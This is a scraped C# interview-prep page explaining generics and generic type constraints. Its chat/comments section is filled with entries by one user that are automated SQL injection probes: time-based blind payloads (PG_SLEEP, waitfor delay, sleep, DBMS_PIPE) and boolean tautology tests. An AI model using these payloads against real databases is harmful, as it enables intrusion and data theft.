Do you use generics? What are they good for? And what are constraints and why to use them?

Experience Level: Medior
Tags: .NETC#Performance

Answer

Explanation

  • Generics are like class templates, where you can define placeholders within a template and the consumer of the generic class can later define the placeholders himself.
  • Generics allow you to write reusable code with high level of flexibility.
  • Thanks to generis you don't repeat yourself. 
  • Generics allow you to design and write classes that are type-safe and can be used with multiple types.
  • Generics help you to avoid the performance hit of boxing/unboxing.

When you define Generic class and you don't want the placeholder type T to be anything, you can define constraints that define what the type T can be.

Constraints are defined by using "where T:" keyword.

There are these constraints:

  • where T: struct // Type T must be struct (value type)
  • where T: class // Type T must be class
  • where T: BaseClassName // Type T must be or derive from BaseClassName
  • where T: IInterfaceName // Type T must be or must implement the interface IInterfaceName
  • where T: new() // Type T must have a public parameterless constructor
  • where T: U // Type T must be or derive from the argument supplied for U

Comments

No Comments Yet.
Be the first to tell us what you think.
.NET challenge
.NET challenge

Are you learning C# ? Try our test we designed to help you progress faster.

Test yourself
.NET/C# Phone Screening 1
.NET/C# Phone Screening 1

Are you learning C# ? Try our test we designed to help you progress faster.

Test yourself

Chat

Oh, the operator is not available. Leave us your comments. We will answer all your questions as soon as possible.

Comments

RiceHawk18
e
RiceHawk18
@@xeDO0
RiceHawk18
1'"
RiceHawk18
e'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
RiceHawk18
L7oVYP7m')) OR 312=(SELECT 312 FROM PG_SLEEP(15))--
RiceHawk18
A1v25QPv') OR 393=(SELECT 393 FROM PG_SLEEP(15))--
RiceHawk18
kxT46vOm' OR 479=(SELECT 479 FROM PG_SLEEP(15))--
RiceHawk18
VTgcz37T'; waitfor delay '0:0:15' --
RiceHawk18
1 waitfor delay '0:0:15' --
RiceHawk18
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
RiceHawk18
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
RiceHawk18
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
RiceHawk18
if(now()=sysdate(),sleep(15),0)
RiceHawk18
-1" OR 3+906-906-1=0+0+0+1 --
RiceHawk18
-1" OR 2+906-906-1=0+0+0+1 --
RiceHawk18
-1' OR 3+316-316-1=0+0+0+1 or '8BoDIAd6'='
RiceHawk18
-1' OR 2+316-316-1=0+0+0+1 or '8BoDIAd6'='
RiceHawk18
-1' OR 3+137-137-1=0+0+0+1 --
RiceHawk18
-1' OR 2+137-137-1=0+0+0+1 --
RiceHawk18
-1 OR 3+877-877-1=0+0+0+1
RiceHawk18
-1 OR 2+877-877-1=0+0+0+1
RiceHawk18
-1 OR 3+418-418-1=0+0+0+1 --
RiceHawk18
-1 OR 2+418-418-1=0+0+0+1 --
RiceHawk18
e
RiceHawk18
e